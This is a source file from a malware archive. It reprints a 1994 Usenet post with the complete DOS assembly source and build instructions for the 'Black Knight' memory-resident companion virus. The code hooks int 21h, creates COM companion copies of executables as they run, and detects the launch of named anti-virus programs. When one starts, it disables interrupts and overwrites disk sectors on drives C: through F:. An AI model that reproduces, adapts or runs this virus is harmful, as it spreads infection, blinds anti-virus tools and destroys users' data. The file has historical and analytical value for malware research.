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vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.blknight.asm
2021-01-12 17:31:39 -06:00

392 lines
8.1 KiB
NASM

From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994
Xref: netcom.com alt.comp.virus:508
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: BlackKnight Virus (ANTI AV VIRUS)
Date: 29 Nov 1994 13:09:23 GMT
Organization: Netcom
Lines: 376
Distribution: world
Message-ID: <3bf963$idi@ixnews1.ix.netcom.com>
References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
;Black Knight Anti-Virus-Virus
;Size - 520
;
;Tasm BKNIGHT
;Tlink /T BKNIGHT
;Memory Resident Companion Virus
;Anti-Anti-Virus
;Formats Drives C: to F: When Anti-Virus Product Is Ran
;Tempest - _ Of Luxenburg
;
.radix 16
cseg segment
model small
assume cs:cseg, ds:cseg, es:cseg
org 100h
oi21 equ endit
filelength equ endit - begin
nameptr equ endit+4
DTA equ endit+8
begin: jmp virus_install
virus_name:
db 'Black Knight'
;install
virus_install:
nop
nop
nop
mov ax,cs ; reduce memory size
dec ax
mov ds,ax
cmp byte ptr ds:[0000],5a
jne cancel
mov ax,ds:[0003]
sub ax,100
mov ds:0003,ax
Zopy_virus:
mov bx,ax ; copy to claimed block
mov ax,es
add ax,bx
mov es,ax
mov cx,offset endit - begin
mov ax,ds
inc ax
mov ds,ax
lea si,ds:[begin]
lea di,es:0100
rep movsb
Grab_21:
mov ds,cx ; hook int 21h
mov si,0084h ;
mov di,offset oi21
mov dx,offset check_exec
lodsw
cmp ax,dx ;
je cancel ; exit, if already
installed
stosw
movsw
push es
pop ds
mov ax,2521h ; revector int 21h to
virus
nop
int 21h
nop
cancel: ret
check_exec:
pushf
push es ; push everything onto
the
push ds ; stack
push ax
push bx
push dx
cmp ax,04B00h ; is the file being
jne abort ; executed?
;if yes, try the_stinger
do_infect: call infect ; then try to infect
abort: ; restore everything
pop dx
pop bx
pop ax
pop ds
pop es
popf
Bye_Bye:
; exit
jmp dword ptr cs:[oi21]
new_24h:
mov al,3 ; critical error handler
iret
infect:
mov cs:[name_seg],ds ; here, the virus
essentially
mov cs:[name_off],dx ; copies the name of the
cld ; loaded file into a
buffer
mov di,dx ; so that it can be
compared
push ds ; against the default
names
pop es ; in the_stinger
mov al,'.' ; subroutine
repne scasb ; <--
call the_stinger ; check for anti-virus
load
; and deploy the_stinger
cld
mov word ptr cs:[nameptr],dx
mov word ptr cs:[nameptr+2],ds
mov ah,2Fh
int 21h
push es
push bx
push cs
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21h
call searchpoint
push di
mov si,offset COM_txt
mov cx,3
rep cmpsb
pop di
jz do_com
mov si,offset EXE_txt
nop
mov cl,3
rep cmpsb
jnz return
do_exe: mov si,offset COM_txt
nop
call change_ext
mov ax,3300h
nop
int 21h
push dx
cwd
inc ax
push ax
int 21h
Grab24h:
mov ax,3524h
int 21h
push bx
push es
push cs
pop ds
mov dx,offset new_24h
mov ah,25h
push ax
int 21h
lds dx,dword ptr [nameptr] ;create the virus
(unique name)
xor cx,cx
mov ah,05Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,filelength ;cx= length of virus
mov dx,offset begin ;where to start copying
mov ah,40h ;write the virus to the
int 21h ;new file
mov ah,3Eh ; close
int 21h
return1: pop ax
pop ds
pop dx
int 21h
pop ax
pop dx
int 21h
mov si,offset EXE_txt
call change_ext
return: mov ah,1Ah
pop dx
pop ds
int 21H
ret
do_com: call findfirst
cmp word ptr cs:[DTA+1Ah],endit - begin
jne return
mov si,offset EXE_txt
call change_ext
call findfirst
jnc return
mov si,offset COM_txt
call change_ext
jmp short return
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21h
ret
the_stinger:
cmp word ptr es:[di-3],'MI' ;Integrity Master
je jumptoass
cmp word ptr es:[di-3],'XR' ;VIRX
je jumptoass
cmp word ptr es:[di-3],'PO' ;VIRUSTOP
jne next1
cmp word ptr es:[di-5],'TS'
je jumptoass
next1: cmp word ptr es:[di-3],'VA' ;AV = CPAV
je jumptoass
cmp word ptr es:[di-3],'TO' ;*prot = F-prot
jne next2
cmp word ptr es:[di-5],'RP'
je jumptoass
next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's
Scan.
jne next3
cmp word ptr es:[di-5],'CS'
je jumptoass
cmp word ptr es:[di-3],'NA' ;*lean = McAfee's
CLEAN.
jne next3 ; why not, eh?
cmp word ptr es:[di-5],'EL'
je jumptoass
next3: ret
jumptoass: jmp nuke ;assassination (deletion)
; of anti-virus program
nuke:
mov al,2 ;Lets Total The C: Drive
mov cx,25
cli ; Keeps Victim From
Aborting
cwd
int 026h
sti
mov al,3 ;Lets Total The D: Drive
mov cx,25
cli ; Keeps Victim From
Aborting
cwd
int 026h
sti
mov al,3 ;Lets Total The E: Drive
mov cx,25
cli ; Keeps Victim From
Aborting
cwd
int 026h
sti
mov al,5 ;Lets Total The F: Drive
mov cx,25
cli ; Keeps Victim From
Aborting
cwd
int 026h
sti
EXE_txt db 'EXE',0
COM_txt db 'COM',0
data_1 db 0
data_2 db 0
last db 090H
name_seg dw ?
name_off dw ?
c1 db 0
c2 db 0
c3 db 0
c4 db 0
c5 db 0
virus_man: db 'Tempest - _ Of Luxenburg'
endit:
cseg ends
end begin